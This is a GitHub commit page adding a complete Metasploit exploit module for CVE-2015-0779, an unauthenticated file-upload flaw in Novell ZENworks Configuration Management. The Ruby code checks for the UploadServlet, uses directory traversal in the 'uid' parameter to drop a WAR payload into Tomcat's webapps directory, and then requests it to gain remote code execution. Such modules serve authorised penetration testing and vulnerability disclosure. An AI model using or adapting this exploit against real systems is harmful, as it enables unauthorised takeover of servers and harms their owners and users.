Skip to content

Commit a531ad9

Browse files
committed
Land rapid7#5096, @pedrib's exploit for Novell ZCM CVE-2015-0779
2 parents c343895 + 0ff3357 commit a531ad9

File tree

1 file changed

+132
-0
lines changed

1 file changed

+132
-0
lines changed
Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload',
16+
'Description' => %q{
17+
This module exploits a file upload vulnerability in Novell ZENworks Configuration
18+
Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in
19+
the UploadServlet which accepts unauthenticated file uploads and does not check the
20+
"uid" parameter for directory traversal characters. This allows an attacker to write
21+
anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat
22+
webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack.
23+
This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note
24+
that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a
25+
Metasploit exploit, but it abuses a different parameter of the same servlet.
26+
},
27+
'Author' =>
28+
[
29+
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
['CVE', '2015-0779'],
35+
['OSVDB', '120382'],
36+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt'],
37+
['URL', 'http://seclists.org/fulldisclosure/2015/Apr/21']
38+
],
39+
'DefaultOptions' => { 'WfsDelay' => 30 },
40+
'Privileged' => true,
41+
'Platform' => 'java',
42+
'Arch' => ARCH_JAVA,
43+
'Targets' =>
44+
[
45+
[ 'Novell ZCM < v11.3.2 - Universal Java', { } ]
46+
],
47+
'DefaultTarget' => 0,
48+
'DisclosureDate' => 'Apr 7 2015'))
49+
50+
register_options(
51+
[
52+
Opt::RPORT(443),
53+
OptBool.new('SSL',
54+
[true, 'Use SSL', true]),
55+
OptString.new('TARGETURI',
56+
[true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']),
57+
OptString.new('TOMCAT_PATH',
58+
[false, 'The Tomcat webapps traversal path (from the temp directory)'])
59+
], self.class)
60+
end
61+
62+
63+
def check
64+
res = send_request_cgi({
65+
'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),
66+
'method' => 'GET'
67+
})
68+
69+
if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/
70+
return Exploit::CheckCode::Detected
71+
end
72+
73+
Exploit::CheckCode::Safe
74+
end
75+
76+
77+
def upload_war_and_exec(tomcat_path)
78+
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
79+
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
80+
81+
print_status("#{peer} - Uploading WAR file to #{tomcat_path}")
82+
res = send_request_cgi({
83+
'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),
84+
'method' => 'POST',
85+
'data' => war_payload,
86+
'ctype' => 'application/octet-stream',
87+
'vars_get' => {
88+
'uid' => tomcat_path,
89+
'filename' => "#{app_base}.war"
90+
}
91+
})
92+
if res && res.code == 200
93+
print_status("#{peer} - Upload appears to have been successful")
94+
else
95+
print_error("#{peer} - Failed to upload, try again with a different path?")
96+
return false
97+
end
98+
99+
10.times do
100+
Rex.sleep(2)
101+
102+
# Now make a request to trigger the newly deployed war
103+
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
104+
send_request_cgi({
105+
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
106+
'method' => 'GET'
107+
})
108+
109+
# Failure. The request timed out or the server went away.
110+
break if res.nil?
111+
# Failure. Unexpected answer
112+
break if res.code != 200
113+
# Unless session... keep looping
114+
return true if session_created?
115+
end
116+
117+
false
118+
end
119+
120+
121+
def exploit
122+
tomcat_paths = []
123+
if datastore['TOMCAT_PATH']
124+
tomcat_paths << datastore['TOMCAT_PATH']
125+
end
126+
tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/'])
127+
128+
tomcat_paths.each do |tomcat_path|
129+
break if upload_war_and_exec(tomcat_path)
130+
end
131+
end
132+
end

0 commit comments

Comments
 (0)